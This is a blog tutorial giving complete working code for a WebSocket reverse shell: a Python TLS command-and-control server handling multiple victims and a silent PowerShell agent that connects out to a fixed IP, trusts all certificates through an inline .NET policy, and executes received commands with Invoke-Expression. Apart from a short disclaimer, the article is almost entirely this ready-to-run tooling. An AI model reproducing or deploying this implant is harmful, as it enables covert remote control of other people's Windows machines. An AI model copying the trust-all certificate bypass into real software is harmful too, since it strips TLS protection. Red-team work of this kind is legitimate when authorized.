Creating A PowerShell Reverse Shell Using WebSockets

I’ve had a great time researching this one! Some time ago, I wrote an article about creating a custom PowerShell reverse shell. That version worked by establishing a direct TCP connection back to netcat. But it left me wondering: how could I set up a custom listener that could handle multiple incoming connections?

Well, here it is. Drumroll, please… Introducing the PowerShell Reverse Shell Using Secure WebSockets.

Not a member? Read this article for free on my site.

While researching how to set up a reverse shell using WebSockets in PowerShell, I had to create three things:

• A Python WebSocket server to control the shell.
• A Python WebSocket client to verify the server works.
• A PowerShell WebSocket client acting as the reverse shell.

Just to clarify, while the focus of this article is on creating a PowerShell reverse shell, building my own listener and writing multiple agents leans more toward a C2 (Command & Control) setup rather than a traditional reverse shell.

Demo of multiple clients connecting and executing a command

Note that this article is written for educational purposes and is intended only for legal penetration testing and red teaming activities, where explicit permission has been granted. If you wish to test any of the scripts provided, please refer to the disclaimer at the end of this article.

Python WebSocket Server

You might have access to a domain and a valid certificate. In my test setup, I do not. Because of this, my first objective was to create a self signed certificate for my server. I’ve chosen to make them short-lived (a day) and create a new one every time the server is started.

from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from datetime import datetime, timedelta, timezone

class Certificate:
    @staticmethod
    def generate(cert_path, key_path, server):
        # Generate the private key
        private_key = rsa.generate_private_key(public_exponent=65537,key_size=2048,backend=default_backend())
        # Create the certificate builder. Configurate the bare minimum required to get this to work.
        builder = x509.CertificateBuilder(
            subject_name=x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, server)]),
            issuer_name=x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, server) ]),
            public_key=private_key.public_key(),
            serial_number=x509.random_serial_number(),
            not_valid_before=datetime.now(timezone.utc),
            not_valid_after=datetime.now(timezone.utc) + timedelta(days=1)
        )
        san = x509.SubjectAlternativeName([ x509.DNSName(server) ])
        builder = builder.add_extension(san, critical=False)

        # Self-sign the certificate and write it to cert_path
        certificate = builder.sign(private_key=private_key, algorithm=hashes.SHA256(), backend=default_backend())
        with open(cert_path, "wb") as cert_file: 
            cert_file.write(certificate.public_bytes(encoding=serialization.Encoding.PEM))

        # Write the private key to key_path
        with open(key_path, "wb") as key_file:
            key_file.write(private_key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.TraditionalOpenSSL,
                encryption_algorithm=serialization.NoEncryption()
        ))

Next up, the Secure WebSocket server. Without a doubt, the hardest part of this code was printing output above the current line, without overwriting my history. This kept happening because the code runs in coroutines using asyncio. Luckily, the good people of StackOverflow had tackled this before.

When the WebSocket server starts, fresh certificates are generated. The server and input handler are running in separate coroutines. To prevent locking, at every iteration while loops are released using asyncio.sleep(0.1).

The core of the server is the WebSocket handler. When a new client connects, it is added to the cache using its key. When a client is activated by the user, the handler starts sending commands and receiving and printing results.

from certificate import Certificate
import asyncio, websockets, ssl, sys

clients, active_client, command, waiting = {}, None, None, False

def bgprint(message, color = '\033[0m'):
    """ Print the message above the current line, while 'pushing' the history up. """
    print(f"\u001B[s\u001B[A\u001B[999D\u001B[S\u001B[L{color}{message}\033[0m\u001B[u", end="", flush=True)

async def handler(websocket, path):
    """ Background handler running for each websocket handler. If active, handle sending/receiving messages. """
    global active_client, command, waiting
    try:
        bgprint(f"Client connected: {path}", "\033[32m")
        clients[path] = websocket
        if path != f"/{await websocket.recv()}": return # First message must be the generated key
        while True:
            if active_client == path and command: # Only communicate when active
                waiting = True
                await websocket.send(command)
                response = await websocket.recv()
                if response: print(response) # Regular print
                waiting, command = False, None
            await asyncio.sleep(0.1) # Release the routine
    except websockets.exceptions.ConnectionClosed:
        bgprint(f"Client disconnected: {path}", '\033[33m')
        clients.pop(path, None)  # Remove client from dictionary when disconnected
    except Exception as e:
        bgprint(f"Client error: {path}: {e}", '\033[31m')
    waiting, command = False, None

async def handle_cli():
    global active_client, command, waiting
    while True:
        if waiting or command: await asyncio.sleep(0.1); continue
        handle = active_client if active_client else '>'
        # Ask for input (non-blocking using asyncio)
        loop = asyncio.get_event_loop()
        user_input = await loop.run_in_executor(None, input, f"[{handle}] ")
        # Handle user input
        if user_input.lower() == 'l':  
            if len(clients.keys()):
                bgprint("Connected Clients:")
                for idx, client_path in enumerate(clients.keys()):
                    bgprint(f"{idx}: {client_path}")
            else: bgprint(f"No connected clients", '\033[33m')
        elif user_input.lower() == 'q':
            bgprint(f"Exiting...", '\033[33m'); break
        elif user_input.isdigit():
            user_input = int(user_input)
            if user_input >= 0 and user_input < len(clients):
                active_client = list(clients.keys())[user_input]
        elif active_client:
            command = user_input
        else: bgprint("No active client", "\033[33m")

async def main(cert_path, key_path, server, port):
    """ Set up SSL context, start the WebSocket server and CLI coroutine """
    ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ssl_context.load_cert_chain(cert_path, key_path)
    start_wss_server = websockets.serve(handler, server, port, ssl=ssl_context)
    await asyncio.gather(start_wss_server, handle_cli()) 

if __name__ == '__main__':
    if not len(sys.argv) == 3: bgprint("Usage: python3 ./server.py <IP> <PORT>", "\033[33m"); exit()
    cert_path, key_path = "/tmp/wsc2_cert.pem", "/tmp/wsc2_key.pem"
    Certificate.generate(cert_path, key_path, sys.argv[1])
    print("Commands:\n- l: list connected clients\n- q: quit\n- 0-9: set client active\n- other: command to execute")
    asyncio.run(main(cert_path, key_path, sys.argv[1], sys.argv[2]))

Executing whoami using the reverse shell

Reverse Shell — PowerShell WebSocket Client

This was a tough one to get working. Seeing I want this script to act as a reverse shell, I want minimal dependencies. So, I cannot install packages, import certificates or do anything which requires user interaction. After many iterations, and input from a helpful gist, I managed to get the initial version working and started building from there.

While building the shell, I initially started testing without TLS. At first, I couldn’t get the WSS version to work, but I wasn’t getting any usable information other than that the connection “faulted”. I suspected something was wrong with the certificate, and by connecting without it I could test the script.

After I finished building the basic shell, I was able to bypass the certificate errors by implementing a custom ICertificatePolicy which accepts all certificates using inline .NET. Not the prettiest solution, but I nothing I tried using native PowerShell bypassed the connection fault.

In summary, the script performs the following actions:

• Set up a somewhat unique key (MD5 checksum of hostname).
• Create a cancellation token source.
• Bypass certificate validation.
• Start the Secure WebSocket connection.
• Set up queue-based runspaces to handle incoming and outgoing messages.
• Start the process of receiving and executing commands.

In the below script, I’ve added comments at critical lines. Seeing this is a reverse shell, the script is mostly silent. If you want to play around with it, I recommend adding some Write-Output-statements.

$md5 = [System.BitConverter]::ToString([System.Security.Cryptography.MD5]::Create().ComputeHash([Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME))) -replace '-'
$key = "ps_$($env:OS)_$md5"
$url = "wss://172.16.224.128:8765/$key"
$cts = New-Object Threading.CancellationTokenSource
$ct = $cts.Token

# Trust all certificates
Add-Type @"
    using System.Net; using System.Security.Cryptography.X509Certificates;
    public class IgnoreCertsPolicy : ICertificatePolicy {
        public bool CheckValidationResult(ServicePoint a, X509Certificate b, WebRequest c, int d) { return true; }
    }
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object IgnoreCertsPolicy

# Start the connection. Wait until its open.
try {
    $ws = New-Object Net.WebSockets.ClientWebSocket
    $connectTask = $ws.ConnectAsync($url, $ct)
    do { Sleep(0.5) } until ($connectTask.IsCompleted)
    if ($ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { exit }
} catch { exit }

# Set Up the queue based receive runspace
$recv_runspace = [PowerShell]::Create()
$recv_queue = New-Object 'System.Collections.Concurrent.ConcurrentQueue[String]'
$recv_runspace.AddScript({
    param($ws, $key, $recv_queue, $ct)
    $buffer = [Net.WebSockets.WebSocket]::CreateClientBuffer(1024,1024)
    $recvResult = $null
    # While the connection is open, receive data and add it to the receive queue.
    while ($ws.State -eq [Net.WebSockets.WebSocketState]::Open -and -not $ct.IsCancellationRequested) {
        $command = ""
        do {
            $recvResult = $ws.ReceiveAsync($buffer, $ct)
            while (-not $recvResult.IsCompleted -and $ws.State -eq [Net.WebSockets.WebSocketState]::Open -and -not $ct.IsCancellationRequested) {
                [Threading.Thread]::Sleep(5)
            }
            $command += [Text.Encoding]::UTF8.GetString($buffer, 0, $recvResult.Result.Count)
        } until ($ws.State -ne [Net.WebSockets.WebSocketState]::Open -or $recvResult.Result.EndOfMessage)
        $recv_queue.Enqueue($command) # Queue the command for invocation
    }
}).AddParameter("ws", $ws).AddParameter("key", $key).AddParameter("recv_queue", $recv_queue).AddParameter("ct", $ct).
    BeginInvoke() | Out-Null

# Set up the queue-based send runspace
$send_queue = New-Object 'System.Collections.Concurrent.ConcurrentQueue[String]'
$send_runspace = [PowerShell]::Create()
$send_runspace.AddScript({
    param($ws, $key, $send_queue, $ct)
    $result = $null
    # While the connection is open, dequeue and send invocation results.
    while ($ws.State -eq [Net.WebSockets.WebSocketState]::Open -and -not $ct.IsCancellationRequested) {
        if ($send_queue.TryDequeue([ref] $result)) {
            $ws.SendAsync([Text.Encoding]::UTF8.GetBytes($result), [System.Net.WebSockets.WebSocketMessageType]::Text, $true, $ct).
                GetAwaiter().GetResult() | Out-Null
        }
    }
}).AddParameter("ws", $ws).AddParameter("key", $key).AddParameter("send_queue", $send_queue).AddParameter("ct", $ct).
    BeginInvoke() | Out-Null

try { 
    $send_queue.Enqueue($key) # Kick off by sending our key
    do { # Dequeue and invoke commands from the receive queue while the connection is open
        $command = $null
        while ($recv_queue.TryDequeue([ref] $command)) { 
            # Invoke the command and queue the response
            try { $result = Invoke-Expression $command } 
            catch { $result = [char]27 + "[31m" + $_.Exception.Message + [char]27 + "[0m" }
            finally {
                if ($null -eq $result) { $result = '' }
                $send_queue.Enqueue($result)
            }
        }
    } until ($ws.State -ne [Net.WebSockets.WebSocketState]::Open -or $ct.IsCancellationRequested)
} finally { # Break down the connection and queues
    $closetask = $ws.CloseAsync([System.Net.WebSockets.WebSocketCloseStatus]::Empty, "", $ct)
    do { Sleep(0.5) } until ($closetask.IsCompleted)
    $ws.Dispose()
    $recv_runspace.Stop(); $recv_runspace.Dispose()
    $send_runspace.Stop(); $send_runspace.Dispose()
}

Debugging The Connection

As mentioned before, I faced some challenges while getting the PowerShell script to work. I’ve added workarounds for using a self signed certificates and queueing, but some extra verification steps may come in handy if you want to test any of these scripts.

The first thing you can do when testing on your Windows host, is verifying that your server can actually be reached over TCP using PowerShell:

Test-NetConnection -ComputerName 172.16.224.128 -Port 8765 -InformationLevel Detailed

The output should look something like this

If the above test succeeds, the next step is to run the Python client. It can be used to test the server from most machines running Python. Same as the PowerShell version, it executes received commands and replies with the response.

In comparison to the PowerShell script, the Python client is pretty straightforward and easy to use while debugging. You can get the client from my repository.

Thank you for taking the time to read my article! If you found it interesting, follow my profile for more content coming your way! Any ideas or challenges on what to do next? Let me know.

Disclaimer

This article is intended solely for educational purposes and should only be used for legal penetration testing or red teaming activities in environments where explicit permission has been granted by the system or network owner. The tools and scripts provided here are not to be used for unauthorized or illegal activities. The author is not responsible for any misuse, damage, or legal consequences resulting from the use of these tools. Always ensure you have proper authorization before testing or deploying any techniques outlined in this article.